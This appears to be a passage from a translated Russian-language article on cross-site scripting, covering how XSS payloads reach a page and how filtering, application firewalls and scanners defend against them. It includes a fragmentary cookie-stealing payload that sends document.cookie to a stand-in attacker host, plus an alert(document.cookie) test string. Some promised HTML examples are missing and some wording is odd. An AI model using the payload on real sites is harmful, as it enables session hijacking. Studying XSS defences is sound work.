    Иногда данные, внедренные в ответную страницу, находятся в платном HTML-контексте. В этом случае сначала нужно "сбежать" в бесплатный контекст, а затем предпринять атаку XSS. Например, если данные вставляются в качестве значения по умолчанию для поля формы HTML:

    А итоговый код HTML будет следующим:

    window.open

    ("http://www.attacker.site/collect.cgi?cookie="+document.cookie)">

    До сих пор мы видели, что атака XSS может происходить в параметре запроса GET, на который отвечает скрипт. Но выполнить атаку можно и с помощью запроса POST, либо с использованием компонента пути запроса HTTP, и даже с помощью некоторых заголовков HTTP (например, Referer).

    В частности, компонент пути (path) полезен, когда страница ошибки возвращает ошибочный путь. В этом случае включение вредоносного скрипта в путь часто приводит к его выполнению. Многие Web-серверы уязвимы для этой атаки.

    Важно понимать, что, хотя Web-сайт и не затронут напрямую этой атакой (он продолжает нормально работать, вредоносный код на нем не выполняется, атака DoS не происходит, и данные с сайта напрямую не считываются и не подделываются), это все же брешь в системе безопасности, которую сайт предлагает своим клиентам или посетителям. Это похоже на сайт, который используется для развертывания приложения со слабыми метками безопасности. Из-за этого злоумышленник может угадать метку безопасности клиента и притвориться им (или ей).

    Слабым местом в приложении является скрипт, который возвращает свой параметр независимо от его значения. Хороший скрипт должен убедиться, что у параметра правильный формат, что он содержит приемлемые символы и т.д. Обычно нет причин, чтобы правильный параметр содержал тэги HTML или код JavaScript. Они должны быть удалены из параметра до того, как он будет внедрен в ответ или использован в приложении. Это позволит обеспечить безопасность.

    Обезопасить сайт от атак XSS можно тремя способами.

  • С помощью выполнения собственной фильтрации входных данных (которую иногда называют входным санитарным контролем, или input sanitation). Для каждого ввода пользователя (будь это параметр или заголовок HTML), в каждом написанным самостоятельно скрипте следует применять расширенные средства фильтрации против тэгов HTML, включая код JavaScript. Например, скрипт welcome.cgi из предыдущего примера должен фильтровать тэг после декодирования параметра имени. Этот метод имеет несколько серьезных недостатков.
    • Он требует от прикладного программиста хорошего знания технологий безопасности.
    • Он требует от программиста охвата всех возможных источников входных данных (параметров запросов, параметров тела запросов POST, заголовков HTTP).
    • Он не может защитить от уязвимостей в скриптах или серверах сторонних производителей. Например, он не защитит от проблем в страницах ошибки на Web-серверах (которые отображают путь источника).
  • Выполнение "выходной фильтрации", т.е. фильтрация пользовательских данных, когда они пересылаются обратно в браузер, а не когда их получает скрипт. Хорошим примером этого подхода может стать скрипт, который вставляет данные в базу данных, а затем их отображает. В этом случае важно применять фильтр не исходной входной строке, а только к выходной версии. Недостатки этого метода похожи на недостатки входной фильтрации.
  • Установка межсетевого экрана приложений (брандмауэра) стороннего производителя. Этот экран перехватывает атаки XSS до того, как они достигнут Web-сервера и уязвимых скриптов, и блокирует их. Межсетевые экраны приложений могут охватывать все методы ввода, работая с ними общим способом (включая путь и заголовки HTTP), независимо от скрипта или пути из собственного приложения, скрипта стороннего производителя или скрипта, который вообще не описывает никаких ресурсов (например, предназначенный для того, чтобы спровоцировать ответную страницу 404 с сервера). Для каждого источника входных данных межсетевой экран приложений проверяет данные на наличие различных образцов тэгов HTML и кода JavaScript. Если есть какие-то совпадения, то запрос блокируется, и вредоносные данные не достигают сервера.
  • Логическим завершением защиты сайта является проверка его защищенности от атак XSS. Как и защита сайта от XSS, проверку степени защиты можно проводить вручную (трудный способ), либо с помощью автоматизированного средства оценки уязвимости Web-приложений. Такой инструмент снимет с вас нагрузку, связанную с проверкой. Эта программа перемещается по сайту и запускает все известные ей варианты для всех скриптов, которые она обнаруживает. При этом пробуются все параметры, заголовки и пути. В обоих методах каждый ввод в приложение (параметры всех скриптов, заголовки HTTP, пути) проверяется с максимально возможным количеством вариантов. И если ответная страница содержит код JavaScript в контексте, где браузер может его выполнить, то появляется сообщение об уязвимости к XSS. Например, при отправке следующего текста:

    alert(document.cookie)

    каждому параметру каждого скрипта (через браузер с возможностями работы с JavaScript, чтобы выявить простейший вид уязвимости к XSS) браузер вызовет окно JavaScript Alert, если текст интерпретирован как код JavaScript. Конечно, есть несколько вариантов. Поэтому тестировать только этот вариант недостаточно. И, как вы уже узнали, можно вставлять код JavaScript в различные поля запроса: параметры, заголовки HTTP и путь. Однако в некоторых случаях (особенно с заголовком HTTP Referer) выполнять атаку с помощью браузера неудобно.

    Межсайтовый скриптинг - это одна из самых частых атак уровня приложения, которую хакеры используют для взлома Web-приложений. Также она является и самой опасной. Это атака на конфиденциальность информации клиентов определенного Web-сайта. Она может привести к полному разрушению системы безопасности, когда данные клиента крадутся и используются в дальнейшем для каких-то целей. К сожалению, как поясняет эта статья, это часто делается без знаний об атакуемом клиенте или организации.

    Чтобы предотвратить уязвимость Web-сайтов к этим вредоносным действиям, важно, чтобы организация реализовала стратегию и онлайн-, и оффлайн-защиты. Это включает в себя средство автоматизированной проверки уязвимости, которое может протестировать на наличие всех известных уязвимостей Web-сайтов и определенных приложений (например, межсайтовый скриптинг) на сайте. Для полной онлайн-защиты также жизненно важно установить межсетевой экран, который может обнаруживать и блокировать любой тип манипуляций с кодом и данными, располагающимися на Web-серверах или за ними.